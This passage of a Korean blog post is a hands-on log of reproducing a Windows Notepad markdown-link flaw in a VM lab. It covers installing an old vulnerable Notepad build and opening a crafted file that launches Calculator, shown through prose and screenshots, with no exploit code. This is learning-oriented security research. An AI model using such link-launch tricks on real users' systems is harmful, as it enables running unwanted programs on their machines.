&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단우분투에서 해당 PoC를 이용해서 실습을 하기로 했답니다?&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;805&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cNK9Dl/dJMcai3SSmt/yd21MTveLZdbCL8vzA42Q0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cNK9Dl/dJMcai3SSmt/yd21MTveLZdbCL8vzA42Q0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cNK9Dl/dJMcai3SSmt/yd21MTveLZdbCL8vzA42Q0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcNK9Dl%2FdJMcai3SSmt%2Fyd21MTveLZdbCL8vzA42Q0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;805&quot; height=&quot;404&quot; data-origin-width=&quot;805&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;짜잔 이렇게 제 컴퓨터로 파일이 옮겨진 거 보이시나요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이거를 다시 윈도우 VM으로 옮겨야하는데 ...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제가 윈도우 VM이 없는지라&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;868&quot; data-origin-height=&quot;550&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ceVvYo/dJMcahcTaZK/fo86IvDGnbTckEhg0ZZLZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ceVvYo/dJMcahcTaZK/fo86IvDGnbTckEhg0ZZLZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ceVvYo/dJMcahcTaZK/fo86IvDGnbTckEhg0ZZLZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FceVvYo%2FdJMcahcTaZK%2Ffo86IvDGnbTckEhg0ZZLZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;868&quot; height=&quot;550&quot; data-origin-width=&quot;868&quot; data-origin-height=&quot;550&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 다운로드 엔딩. ...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ㅠㅠㅠㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새로운 VM환경을 열기 위해 iso파일을 받아줍니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.microsoft.com/ko-kr/software-download/windows10ISO&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.microsoft.com/ko-kr/software-download/windows10ISO&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775479138896&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Windows 10 디스크 이미지(ISO 파일) 다운로드&quot; data-og-description=&quot;Windows를 설치할 때 동일한 언어를 선택해야 합니다. 현재 사용 중인 언어를 확인하려면 PC 설정에서 시간 및 언어 또는 제어판의 지역으로 이동합니다.&quot; data-og-host=&quot;www.microsoft.com&quot; data-og-source-url=&quot;https://www.microsoft.com/ko-kr/software-download/windows10ISO&quot; data-og-url=&quot;https://www.microsoft.com/ko-kr/software-download/windows10iso&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/fJESt/dJMb85WT2bt/Pfa5fdZTSSGqRQS5tHxar0/img.jpg?width=484&amp;amp;height=297&amp;amp;face=0_0_484_297&quot;&gt;&lt;a href=&quot;https://www.microsoft.com/ko-kr/software-download/windows10ISO&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.microsoft.com/ko-kr/software-download/windows10ISO&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/fJESt/dJMb85WT2bt/Pfa5fdZTSSGqRQS5tHxar0/img.jpg?width=484&amp;amp;height=297&amp;amp;face=0_0_484_297');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Windows 10 디스크 이미지(ISO 파일) 다운로드&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Windows를 설치할 때 동일한 언어를 선택해야 합니다. 현재 사용 중인 언어를 확인하려면 PC 설정에서 시간 및 언어 또는 제어판의 지역으로 이동합니다.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.microsoft.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 일단 windows 10을 다운받았어요 !&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우분투에서 iso파일로 다운받고, 공유파일 생성한 뒤&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제 본 pc에도 다운받은 다음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 iso파일로 새로운 window vm을 만들었답니다?!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;757&quot; data-origin-height=&quot;726&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IAAEc/dJMb9961bmW/4KsMWeuG9FvcDEu7zygkDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IAAEc/dJMb9961bmW/4KsMWeuG9FvcDEu7zygkDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IAAEc/dJMb9961bmW/4KsMWeuG9FvcDEu7zygkDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIAAEc%2FdJMb9961bmW%2F4KsMWeuG9FvcDEu7zygkDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;487&quot; height=&quot;467&quot; data-origin-width=&quot;757&quot; data-origin-height=&quot;726&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기다림 끝에 완성된 설치환경&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 아니었고 한참뒤에 완성된 설치환경....&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1049&quot; data-origin-height=&quot;856&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3vVle/dJMcacWXnBW/Q2HIvq6CcjktFXJbeaLUxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3vVle/dJMcacWXnBW/Q2HIvq6CcjktFXJbeaLUxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3vVle/dJMcacWXnBW/Q2HIvq6CcjktFXJbeaLUxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3vVle%2FdJMcacWXnBW%2FQ2HIvq6CcjktFXJbeaLUxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1049&quot; height=&quot;856&quot; data-origin-width=&quot;1049&quot; data-origin-height=&quot;856&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;꺄아아 완성 ~&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잠만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;완성이 아니었음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생각해보니 취약점 발생한 window버전이 11인데 10깔고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;...^_^&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나 확실히 문제있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;심지어 vitual machine까지 말 안듣길래&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;vmware로 갈아타느라 애좀 먹었습니다 ㅠㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ffffff;&quot;&gt;미친것&amp;nbsp; ㅉ&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;925&quot; data-origin-height=&quot;727&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zIK5M/dJMcajhsINe/oNCBwZpZtw5ktXQN4K59T1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zIK5M/dJMcajhsINe/oNCBwZpZtw5ktXQN4K59T1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zIK5M/dJMcajhsINe/oNCBwZpZtw5ktXQN4K59T1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzIK5M%2FdJMcajhsINe%2FoNCBwZpZtw5ktXQN4K59T1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;925&quot; height=&quot;727&quot; data-origin-width=&quot;925&quot; data-origin-height=&quot;727&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;드디어 다 됐다&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;497&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/etFULk/dJMcag59XcU/e3nXdM9UMSnN4DelGXI0w0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/etFULk/dJMcag59XcU/e3nXdM9UMSnN4DelGXI0w0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/etFULk/dJMcag59XcU/e3nXdM9UMSnN4DelGXI0w0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FetFULk%2FdJMcag59XcU%2Fe3nXdM9UMSnN4DelGXI0w0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;652&quot; height=&quot;497&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;497&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ba3r83/dJMcabwZQv5/ZCqBS0c8QzRFc5kPKOhQek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ba3r83/dJMcabwZQv5/ZCqBS0c8QzRFc5kPKOhQek/img.png&quot; data-origin-width=&quot;803&quot; data-origin-height=&quot;594&quot; data-is-animation=&quot;false&quot; style=&quot;width: 52.2662%; margin-right: 10px;&quot; data-widthpercent=&quot;52.88&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ba3r83/dJMcabwZQv5/ZCqBS0c8QzRFc5kPKOhQek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fba3r83%2FdJMcabwZQv5%2FZCqBS0c8QzRFc5kPKOhQek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;803&quot; height=&quot;594&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OXAgF/dJMcaju1sjj/VFQWDJaRebkoKy35Q9MSm0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OXAgF/dJMcaju1sjj/VFQWDJaRebkoKy35Q9MSm0/img.png&quot; data-origin-width=&quot;689&quot; data-origin-height=&quot;572&quot; data-is-animation=&quot;false&quot; style=&quot;width: 46.571%;&quot; data-widthpercent=&quot;47.12&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OXAgF/dJMcaju1sjj/VFQWDJaRebkoKy35Q9MSm0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOXAgF%2FdJMcaju1sjj%2FVFQWDJaRebkoKy35Q9MSm0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;689&quot; height=&quot;572&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 다양한 방법으로 시도해보려고 했으나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패치가 되어있어서 ..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반 텍스트로 열리게 되네요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;윈도우에서 메모장이 링크를 실행하거나 다른 앱을 실행시킬까봐&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;텍스트로 열게끔 하는 방어작업을 볼 수 있었습니다!&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실습 환경을 최대한 구성해보려고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;http://tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/8wekyb3d8bbwe/Microsoft.WindowsNotepad_11.2405.13.0_neutral_~_8wekyb3d8bbwe.msixbundle&quot;&gt;http://tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/8wekyb3d8bbwe/Microsoft.WindowsNotepad_11.2405.13.0_neutral_~_8wekyb3d8bbwe.msixbundle&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서두 파일을 찾아보고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://store.rg-adguard.net/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://store.rg-adguard.net/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775703559910&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Microsoft Store - Generation Project (v1.2.3) [by @rgadguard &amp;amp; mkuba50]&quot; data-og-description=&quot;Online link generator for Microsoft Store. You can use it to get links to almost all apps, games, themes from the Microsoft Store.&quot; data-og-host=&quot;store.rg-adguard.net&quot; data-og-source-url=&quot;https://store.rg-adguard.net/&quot; data-og-url=&quot;https://store.rg-adguard.net/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cgn0Aq/dJMb9frGn8O/kbKTCilLZva7Y2fR63GdJk/img.png?width=88&amp;amp;height=88&amp;amp;face=0_0_88_88&quot;&gt;&lt;a href=&quot;https://store.rg-adguard.net/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://store.rg-adguard.net/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cgn0Aq/dJMb9frGn8O/kbKTCilLZva7Y2fR63GdJk/img.png?width=88&amp;amp;height=88&amp;amp;face=0_0_88_88');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Microsoft Store - Generation Project (v1.2.3) [by @rgadguard &amp;amp; mkuba50]&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Online link generator for Microsoft Store. You can use it to get links to almost all apps, games, themes from the Microsoft Store.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;store.rg-adguard.net&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서도 실습환경에 맞는 구버전 노트패드를 찾아봤는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윈도우에서 이미 손을 썼는지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제가 있는 버전만 싹 지웠더라구요&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ㅠㅠㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무튼 실습은 여기까지...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가 아니고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;선배님께 자문을 구해서 링크를 얻었습니다 !&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시해볼게요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1007&quot; data-origin-height=&quot;542&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EShPn/dJMcaipnI9K/T0X5lYeWwRMe5012Q2EX61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EShPn/dJMcaipnI9K/T0X5lYeWwRMe5012Q2EX61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EShPn/dJMcaipnI9K/T0X5lYeWwRMe5012Q2EX61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEShPn%2FdJMcaipnI9K%2FT0X5lYeWwRMe5012Q2EX61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1007&quot; height=&quot;542&quot; data-origin-width=&quot;1007&quot; data-origin-height=&quot;542&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 버전을 삭제해줍니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PoC에 나온 버전 11.2510을 먼저 다운로드 받아줍니다 !!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 다음&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계산기가 열리게끔 텍스트를 작성해주고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마크다운으로 열어주면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;595&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Hy8ZL/dJMcaiJDl4J/T8GJqq5N1HmCWlsDOyFNK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Hy8ZL/dJMcaiJDl4J/T8GJqq5N1HmCWlsDOyFNK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Hy8ZL/dJMcaiJDl4J/T8GJqq5N1HmCWlsDOyFNK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHy8ZL%2FdJMcaiJDl4J%2FT8GJqq5N1HmCWlsDOyFNK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;962&quot; height=&quot;595&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;595&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;605&quot; data-origin-height=&quot;595&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I83rn/dJMcaakzA69/GQbAN3PV9eGo0u6ZUjFSNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I83rn/dJMcaakzA69/GQbAN3PV9eGo0u6ZUjFSNk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I83rn/dJMcaakzA69/GQbAN3PV9eGo0u6ZUjFSNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI83rn%2FdJMcaakzA69%2FGQbAN3PV9eGo0u6ZUjFSNk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;605&quot; height=&quot;595&quot; data-origin-width=&quot;605&quot; data-origin-height=&quot;595&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클릭링크를 클릭할 시,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 파일이 열리는 것을 확인할 수 있습니다 !&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PoC에 있던 것도 한 번 열어볼까요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KUk8w/dJMcaiv6SEC/no3k7FWRmWjJorTtn27FeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KUk8w/dJMcaiv6SEC/no3k7FWRmWjJorTtn27FeK/img.png&quot; data-origin-width=&quot;605&quot; data-origin-height=&quot;470&quot; data-is-animation=&quot;false&quot; style=&quot;width: 47.0158%; margin-right: 10px;&quot; data-widthpercent=&quot;47.57&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KUk8w/dJMcaiv6SEC/no3k7FWRmWjJorTtn27FeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKUk8w%2FdJMcaiv6SEC%2Fno3k7FWRmWjJorTtn27FeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;605&quot; height=&quot;470&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brDG3q/dJMcaco97v4/al3kCnthNAI2aEo8IRVo30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brDG3q/dJMcaco97v4/al3kCnthNAI2aEo8IRVo30/img.png&quot; data-origin-width=&quot;498&quot; data-origin-height=&quot;351&quot; data-is-animation=&quot;false&quot; style=&quot;width: 51.8214%;&quot; data-widthpercent=&quot;52.43&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brDG3q/dJMcaco97v4/al3kCnthNAI2aEo8IRVo30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrDG3q%2FdJMcaco97v4%2Fal3kCnthNAI2aEo8IRVo30%2Fimg.png&quot; onerror=&quot;this.onerror=null; 